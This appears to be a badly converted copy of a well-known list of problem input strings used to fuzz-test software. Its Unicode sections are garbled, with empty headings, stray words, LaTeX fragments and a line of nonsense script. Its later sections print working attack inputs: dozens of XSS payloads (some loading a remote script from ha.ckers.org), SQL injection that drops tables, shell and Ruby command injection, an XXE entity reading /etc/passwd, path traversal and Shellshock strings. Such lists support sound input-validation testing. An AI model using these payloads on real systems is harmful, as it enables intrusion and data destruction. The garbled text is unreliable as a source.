

```
#      Reserved Strings
#
#      Strings which may be used elsewhere in code
```

```
undefined
undef
null
NULL
(null)
nil
NIL
true
false
True
False
TRUE
FALSE
None
hasOwnProperty
then
constructor
\
\\
```

```
#      Numeric Strings
#
#      Strings which can be interpreted as numeric
```

```
0
1
1.00
$1.00
1/2
1E2
1E02
1E+02
-1
-1.00
-$1.00
-1/2
-1E2
-1E02
-1E+02
1/0
0/0
-2147483648/-1
-9223372036854775808/-1
-0
-0.0
+0
+0.0
0.00
0..0
.
0.0.0
0,00
0,,0
,
0,0,0
```


Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.
Commonly misinterpreted as additional graphic characters.
The next line may appear to be blank, mojibake, or dingbats in some viewers.

Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
treated as whitespace in some contexts.
This file unfortunately cannot express strings containing
U+0000, U+000A, or U+000D (NUL, LF, CR).
The next line may appear to be blank or mojibake in some viewers.
The next line may be flagged for "trailing whitespace" in some viewers.
#

制剝剝唵啞啞啞

capitalizers which think that 16 bits == 1 character

ሃ ልጃልቅላገ ሆቀቆገ/ቆገሎሃል ያላወ ያፋ ሃ ቀጋላካቆ ጋፍ ሃ ልጃልቅላገ ሃተወካተፍቀቆገገ

```
# Special Unicode Characters Union
```

readiness.

```
# 𠄎 CJK Ideograph Extension B, First (U+20000)
```

表 ㇿ あ A 鷗 œ é B 逍 Û ßª ãñ 𐄌 𐄎 𐄐

```
# Changing length when lowercased
```

Credit: <https://twitter.com/jifa/status/625776454479970304>

~~X~~

Japanese Emoticons

web

$$\cdot \left(\frac{1}{V} \right) \cdot \begin{matrix} * \\ \vdots \end{matrix}$$

```
#      Emoji
#
#      Strings which contain Emoji; should be the same behavior as two-byte
characters, but not always
```



```
#      Regional Indicator Symbols
#
#      Regional Indicator Symbols can be displayed differently across
#      fonts, and have a number of special behaviors
```



```
# Unicode Numbers
#
# Strings which contain unicode numbers; if the code is localized, it should
# see the input as numeric
```

$$\begin{array}{ccc} 1 & 2 & 3 \\ 1 & 2 & 3 \end{array}$$

```
#      Right-To-Left Strings
#
#      Strings which contain text that should be rendered RTL if possible (e.g.
Arabic, Hebrew)
```

ثم نفس سقطت وبالتحديد، جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهْل
ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما، يذكر الحدود أي بعد، معاملة
بولندا، الإطلاق عل إيو.

الصفحات التَّحول test !תה

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

وَاللَّهُمَّ صَلِّ وَسَلِّمْ عَلَى

٥٠، مَنَاقِشَةُ سُبُلِ اسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيمَ يَخْصُ التَّطْبِيقَاتُ الْحَاسُوبِيَّةُ
الْكُلُّ فِي الْمَجْمُوعَةِ (5)

#	Ogham Text
---	------------

```
# The only unicode alphabet to use a space which isn't empty but should still
```



```
'><script>alert(5)</script>
><script>alert(6)</script>
</script><script>alert(7)</script>
< / script >< script >alert(8)< / script >
  onfocus=JavaScript:alert(9) autofocus
" onfocus=JavaScript:alert(10) autofocus
' onfocus=JavaScript:alert(11) autofocus
<script>alert(12)</script>
<sc<script>ript>alert(13)</sc</script>ript>
--><script>alert(14)</script>
";alert(15);t="
';alert(16);t='
JavaScript:alert(17)
;alert(18);
src=JavaScript:prompt(19)
"><script>alert(20);</script x="
'><script>alert(21);</script x='
><script>alert(22);</script x=
" autofocus onkeyup="javascript:alert(23)
' autofocus onkeyup='javascript:alert(24)
<script\x20type="text/javascript">javascript:alert(25);</script>
<script\x3Etype="text/javascript">javascript:alert(26);</script>
<script\x0Dtype="text/javascript">javascript:alert(27);</script>
<script\x09type="text/javascript">javascript:alert(28);</script>
<script\x0Ctype="text/javascript">javascript:alert(29);</script>
<script\x2Ftype="text/javascript">javascript:alert(30);</script>
<script\x0Atype="text/javascript">javascript:alert(31);</script>
'`">\x3Cscript>javascript:alert(32)</script>
'`">\x00script>javascript:alert(33)</script>
ABC<div style="x\x3Aexpression(javascript:alert(34))">DEF
ABC<div style="x:expression\x5C(javascript:alert(35))">DEF
ABC<div style="x:expression\x00(javascript:alert(36))">DEF
ABC<div style="x:exp\x00ression(javascript:alert(37))">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(38))">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(39))">DEF
ABC<div style="x:\x09expression(javascript:alert(40))">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(41))">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(42))">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(43))">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(44))">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(45))">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(46))">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(47))">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(48))">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(49))">DEF
ABC<div style="x:\x20expression(javascript:alert(50))">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(51))">DEF
ABC<div style="x:\x00expression(javascript:alert(52))">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(53))">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(54))">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(55))">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(56))">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(57))">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(58))">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(59))">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(60))">DEF
<a href="\x0Bjavascript:javascript:alert(61)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:alert(62)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:alert(63)" id="fuzzelement1">test</a>
```


[illegible]

```
`"><img src=xxx:x \x09onerror=javascript:alert(123)>
`"><img src=xxx:x \x0Conerror=javascript:alert(124)>
`"><img src=xxx:x \x00onerror=javascript:alert(125)>
`"><img src=xxx:x \x27onerror=javascript:alert(126)>
`"><img src=xxx:x \x20onerror=javascript:alert(127)>
"'"><script>\x3Bjavascript:alert(128)</script>
"'"><script>\x0Djavascript:alert(129)</script>
"'"><script>\xEF\xBB\xBFjavascript:alert(130)</script>
"'"><script>\xE2\x80\x81javascript:alert(131)</script>
"'"><script>\xE2\x80\x84javascript:alert(132)</script>
"'"><script>\xE3\x80\x80javascript:alert(133)</script>
"'"><script>\x09javascript:alert(134)</script>
"'"><script>\xE2\x80\x89javascript:alert(135)</script>
"'"><script>\xE2\x80\x85javascript:alert(136)</script>
"'"><script>\xE2\x80\x88javascript:alert(137)</script>
"'"><script>\x00javascript:alert(138)</script>
"'"><script>\xE2\x80\xA8javascript:alert(139)</script>
"'"><script>\xE2\x80\x8Ajavascript:alert(140)</script>
"'"><script>\xE1\x9A\x80javascript:alert(141)</script>
"'"><script>\x0Cjavascript:alert(142)</script>
"'"><script>\x2Bjavascript:alert(143)</script>
"'"><script>\xF0\x90\x96\x9Ajavascript:alert(144)</script>
"'"><script>-javascript:alert(145)</script>
"'"><script>\x0Ajavascript:alert(146)</script>
"'"><script>\xE2\x80\xAFjavascript:alert(147)</script>
"'"><script>\x7Ejavascript:alert(148)</script>
"'"><script>\xE2\x80\x87javascript:alert(149)</script>
"'"><script>\xE2\x81\x9Fjavascript:alert(150)</script>
"'"><script>\xE2\x80\xA9javascript:alert(151)</script>
"'"><script>\xC2\x85javascript:alert(152)</script>
"'"><script>\xEF\xBF\xAEjavascript:alert(153)</script>
"'"><script>\xE2\x80\x83javascript:alert(154)</script>
"'"><script>\xE2\x80\x8Bjavascript:alert(155)</script>
"'"><script>\xEF\xBF\xBEjavascript:alert(156)</script>
"'"><script>\xE2\x80\x80javascript:alert(157)</script>
"'"><script>\x21javascript:alert(158)</script>
"'"><script>\xE2\x80\x82javascript:alert(159)</script>
"'"><script>\xE2\x80\x86javascript:alert(160)</script>
"'"><script>\xE1\xA0\x8Ejavascript:alert(161)</script>
"'"><script>\x0Bjavascript:alert(162)</script>
"'"><script>\x20javascript:alert(163)</script>
"'"><script>\xC2\xA0javascript:alert(164)</script>
<img \x00src=x onerror="alert(165)">
<img \x47src=x onerror="javascript:alert(166)">
<img \x11src=x onerror="javascript:alert(167)">
<img \x12src=x onerror="javascript:alert(168)">
<img \x47src=x onerror="javascript:alert(169)">
<img \x10src=x onerror="javascript:alert(170)">
<img \x13src=x onerror="javascript:alert(171)">
<img \x32src=x onerror="javascript:alert(172)">
<img \x47src=x onerror="javascript:alert(173)">
<img \x11src=x onerror="javascript:alert(174)">
<img \x47src=x onerror="javascript:alert(175)">
<img \x34src=x onerror="javascript:alert(176)">
<img \x39src=x onerror="javascript:alert(177)">
<img \x00src=x onerror="javascript:alert(178)">
<img src\x09=x onerror="javascript:alert(179)">
<img src\x10=x onerror="javascript:alert(180)">
<img src\x13=x onerror="javascript:alert(181)">
```

```
<img src\x32=x onerror="javascript:alert(182)">
<img src\x12=x onerror="javascript:alert(183)">
<img src\x11=x onerror="javascript:alert(184)">
<img src\x00=x onerror="javascript:alert(185)">
<img src\x47=x onerror="javascript:alert(186)">
<img src=x\x09onerror="javascript:alert(187)">
<img src=x\x10onerror="javascript:alert(188)">
<img src=x\x11onerror="javascript:alert(189)">
<img src=x\x12onerror="javascript:alert(190)">
<img src=x\x13onerror="javascript:alert(191)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(192)">
<img src=x onerror=\x09"javascript:alert(193)">
<img src=x onerror=\x10"javascript:alert(194)">
<img src=x onerror=\x11"javascript:alert(195)">
<img src=x onerror=\x12"javascript:alert(196)">
<img src=x onerror=\x32"javascript:alert(197)">
<img src=x onerror=\x00"javascript:alert(198)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(199)>XXX</a>

<img src onerror /" '"= alt=javascript:alert(201)//">
<title onpropertychange=javascript:alert(202)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt=""><img src=x:x
onerror=javascript:alert(203)></a>">
<!--[if]><script>javascript:alert(204)</script -->
<!--[if<img src=x onerror=javascript:alert(205)//]> -->
<script src="/\%(jscript)s"></script>
<script src="//\%(jscript)s"></script>
<IMG """"><SCRIPT>alert("206")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
<IMG SRC=# onmouseover="alert('208')">
<IMG SRC= onmouseover="alert('209')">
<IMG onmouseover="alert('210')">
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;
&#114;&#116;&#40;&#39;&#50;&#49;&#49;&#39;&#41;>
<IMG
SRC=&#00000106&#00000097&#00000118&#00000097&#00000115&#00000099&#00000114&#00000105&#000001
12&#00000116&#00000058&#00000097&#00000108&#00000101&#00000114&#00000116&#00000040&#00000039
&#00000050&#00000049&#00000050&#00000039&#00000041>
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x7
4&#x28&#x27&#x32&#x31&#x33&#x27&#x29>
<IMG SRC="jav ascript:alert('214');">
<IMG SRC="jav&#x09;ascript:alert('215');">
<IMG SRC="jav&#x0A;ascript:alert('216');">
<IMG SRC="jav&#x0D;ascript:alert('217');">
perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
<IMG SRC=" &#14; javascript:alert('219');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/\|^`=alert("220")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("221");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('222')">
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('223');//
<u oncopy=alert()> Copy me</u>
<i onwheel=alert(224)> Scroll over me </i>
```

```
<plaintext>
http://a/%%30%30
</textarea><script>alert(225)</script>
```

```
#      SQL Injection
```

```
#
```

```
#      Strings which can cause a SQL injection if inputs are not sanitized
```

```
1;DROP TABLE users
```

```
1'; DROP TABLE users-- 1
```

```
' OR 1=1 -- 1
```

```
' OR '1'='1
```

```
'; EXEC sp_MSForEachTable 'DROP TABLE ?'; --
```

```
%
```

```
—
```

```
#      Server Code Injection
```

```
#
```

```
#      Strings which can cause user to run code on server as a privileged user (c.f.
https://news.ycombinator.com/item?id=7665153)
```

```
-
```

```
--
```

```
--version
```

```
--help
```

```
$USER
```

```
/dev/null; touch /tmp/blns.fail ; echo
```

```
`touch /tmp/blns.fail`
```

```
$(touch /tmp/blns.fail)
```

```
@{[system "touch /tmp/blns.fail"]}
```

```
#      Command Injection (Ruby)
```

```
#
```

```
#      Strings which can call system commands within Ruby/Rails applications
```

```
eval("puts 'hello world'")
```

```
System("ls -al /")
```

```
`ls -al /`
```

```
Kernel.exec("ls -al /")
```

```
Kernel.exit(1)
```

```
%x('ls -al /')
```

```
#      XXE Injection (XML)
```

```
#
```

```
#      String which can reveal system files when parsed by a badly configured XML
parser
```

```
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!
ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

```
#      Unwanted Interpolation
```

```
#
```

```
#      Strings which can be accidentally expanded into different strings if
evaluated in the wrong context, e.g. used as a printf format string or via Perl or
shell eval. Might expose sensitive data from the program doing the interpolation,
or might just represent the wrong string.
```

```
$HOME
```

```

$ENV{'HOME'}
%d
%S%S%S%S%S
{0}
%*. *s
%@
%n
File:///

#      File Inclusion
#
#      Strings which can cause user to pull in files that should not be a part of a
web server

../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/hosts

#      Known CVEs and Vulnerabilities
#
#      Strings that test for known vulnerabilities

() { 0; }; touch /tmp/blns.shellshock1.fail;
() { _; } >_[${$()}] { touch /tmp/blns.shellshock2.fail; }
<<< %s(un='%s') = %u
+++ATH0

#      MSDOS/Windows Special Filenames
#
#      Strings which are reserved characters in MSDOS/Windows

CON
PRN
AUX
CLOCK$
NUL
A:
ZZ:
COM1
LPT1
LPT2
LPT3
COM2
COM3
COM4

#      IRC specific strings
#
#      Strings that may occur on IRC clients that make security products freak out

DCC SEND STARTKEYLOGGER 0 0 0

#      Scunthorpe Problem
#
#      Innocuous strings which may be blocked by profanity filters
(https://en.wikipedia.org/wiki/Scunthorpe\_problem)

Scunthorpe General Hospital
Penistone Community Church
Lightwater Country Park

```

